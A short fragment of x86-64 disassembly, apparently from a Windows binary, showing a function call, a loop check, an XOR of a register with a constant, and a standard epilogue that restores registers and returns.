mov dword [rsp + 0x28], r9d
lea r9, [0x1400d8010]
mov dword [rsp + 0x20], r13d
call fcn.140002dd0
mov r12d, eax
sub rsi, 1
jne 0x140011e45
lea r11, [rsp + 0x40]
xor edi, 0x25b3
mov rbx, qword [r11 + 0x30]
mov eax, edi
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret